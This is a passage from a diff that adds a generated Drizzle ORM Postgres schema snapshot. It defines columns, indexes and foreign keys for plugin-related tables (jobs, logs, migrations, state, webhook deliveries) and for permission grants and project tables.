+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "job_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_jobs_plugin_id_plugins_id_fk": {
+          "name": "plugin_jobs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_jobs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_logs": {
+      "name": "plugin_logs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'info'"
+        },
+        "message": {
+          "name": "message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "meta": {
+          "name": "meta",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_logs_plugin_time_idx": {
+          "name": "plugin_logs_plugin_time_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_logs_company_idx": {
+          "name": "plugin_logs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_logs_level_idx": {
+          "name": "plugin_logs_level_idx",
+          "columns": [
+            {
+              "expression": "level",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_logs_plugin_id_plugins_id_fk": {
+          "name": "plugin_logs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_logs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_logs_company_id_companies_id_fk": {
+          "name": "plugin_logs_company_id_companies_id_fk",
+          "tableFrom": "plugin_logs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_managed_resources": {
+      "name": "plugin_managed_resources",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_kind": {
+          "name": "resource_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_key": {
+          "name": "resource_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_id": {
+          "name": "resource_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "defaults_json": {
+          "name": "defaults_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_managed_resources_company_idx": {
+          "name": "plugin_managed_resources_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_plugin_idx": {
+          "name": "plugin_managed_resources_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_resource_idx": {
+          "name": "plugin_managed_resources_resource_idx",
+          "columns": [
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_company_plugin_resource_uq": {
+          "name": "plugin_managed_resources_company_plugin_resource_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_managed_resources_company_id_companies_id_fk": {
+          "name": "plugin_managed_resources_company_id_companies_id_fk",
+          "tableFrom": "plugin_managed_resources",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_managed_resources_plugin_id_plugins_id_fk": {
+          "name": "plugin_managed_resources_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_managed_resources",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_migrations": {
+      "name": "plugin_migrations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_name": {
+          "name": "namespace_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "migration_key": {
+          "name": "migration_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "checksum": {
+          "name": "checksum",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_version": {
+          "name": "plugin_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "applied_at": {
+          "name": "applied_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "plugin_migrations_plugin_key_idx": {
+          "name": "plugin_migrations_plugin_key_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "migration_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_migrations_plugin_idx": {
+          "name": "plugin_migrations_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_migrations_status_idx": {
+          "name": "plugin_migrations_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_migrations_plugin_id_plugins_id_fk": {
+          "name": "plugin_migrations_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_migrations",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_state": {
+      "name": "plugin_state",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "namespace": {
+          "name": "namespace",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "state_key": {
+          "name": "state_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_json": {
+          "name": "value_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_state_plugin_scope_idx": {
+          "name": "plugin_state_plugin_scope_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_state_plugin_id_plugins_id_fk": {
+          "name": "plugin_state_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_state",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "plugin_state_unique_entry_idx": {
+          "name": "plugin_state_unique_entry_idx",
+          "nullsNotDistinct": true,
+          "columns": [
+            "plugin_id",
+            "scope_kind",
+            "scope_id",
+            "namespace",
+            "state_key"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_webhook_deliveries": {
+      "name": "plugin_webhook_deliveries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "webhook_key": {
+          "name": "webhook_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "headers": {
+          "name": "headers",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_webhook_deliveries_plugin_idx": {
+          "name": "plugin_webhook_deliveries_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_company_idx": {
+          "name": "plugin_webhook_deliveries_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_status_idx": {
+          "name": "plugin_webhook_deliveries_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_key_idx": {
+          "name": "plugin_webhook_deliveries_key_idx",
+          "columns": [
+            {
+              "expression": "webhook_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_webhook_deliveries_plugin_id_plugins_id_fk": {
+          "name": "plugin_webhook_deliveries_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_webhook_deliveries",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_webhook_deliveries_company_id_companies_id_fk": {
+          "name": "plugin_webhook_deliveries_company_id_companies_id_fk",
+          "tableFrom": "plugin_webhook_deliveries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugins": {
+      "name": "plugins",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "package_name": {
+          "name": "package_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version": {
+          "name": "version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "api_version": {
+          "name": "api_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "categories": {
+          "name": "categories",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "manifest_json": {
+          "name": "manifest_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'installed'"
+        },
+        "install_order": {
+          "name": "install_order",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "package_path": {
+          "name": "package_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "installed_at": {
+          "name": "installed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugins_plugin_key_idx": {
+          "name": "plugins_plugin_key_idx",
+          "columns": [
+            {
+              "expression": "plugin_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugins_status_idx": {
+          "name": "plugins_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.principal_permission_grants": {
+      "name": "principal_permission_grants",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_type": {
+          "name": "principal_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_id": {
+          "name": "principal_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "permission_key": {
+          "name": "permission_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope": {
+          "name": "scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "granted_by_user_id": {
+          "name": "granted_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "principal_permission_grants_unique_idx": {
+          "name": "principal_permission_grants_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "permission_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "principal_permission_grants_company_permission_idx": {
+          "name": "principal_permission_grants_company_permission_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "permission_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "principal_permission_grants_company_id_companies_id_fk": {
+          "name": "principal_permission_grants_company_id_companies_id_fk",
+          "tableFrom": "principal_permission_grants",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_goals": {
+      "name": "project_goals",
+      "schema": "",
+      "columns": {
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_goals_project_idx": {
+          "name": "project_goals_project_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_goals_goal_idx": {
+          "name": "project_goals_goal_idx",
+          "columns": [
+            {
+              "expression": "goal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_goals_company_idx": {
+          "name": "project_goals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_goals_project_id_projects_id_fk": {
+          "name": "project_goals_project_id_projects_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_goals_goal_id_goals_id_fk": {
+          "name": "project_goals_goal_id_goals_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_goals_company_id_companies_id_fk": {
+          "name": "project_goals_company_id_companies_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "project_goals_project_id_goal_id_pk": {
+          "name": "project_goals_project_id_goal_id_pk",
+          "columns": [
+            "project_id",
+            "goal_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_memberships": {
+      "name": "project_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'joined'"
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_memberships_company_user_idx": {
+          "name": "project_memberships_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_company_user_starred_idx": {
+          "name": "project_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_project_idx": {
+          "name": "project_memberships_project_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_company_user_project_uq": {
+          "name": "project_memberships_company_user_project_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_memberships_company_id_companies_id_fk": {
+          "name": "project_memberships_company_id_companies_id_fk",
+          "tableFrom": "project_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_memberships_project_id_projects_id_fk": {
+          "name": "project_memberships_project_id_projects_id_fk",
+          "tableFrom": "project_memberships",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_workspaces": {
+      "name": "project_workspaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_type": {
+          "name": "source_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_path'"
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_url": {
+          "name": "repo_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_ref": {
+          "name": "repo_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "default_ref": {
+          "name": "default_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "visibility": {
+          "name": "visibility",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "setup_command": {
+          "name": "setup_command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_command": {
+          "name": "cleanup_command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "remote_provider": {
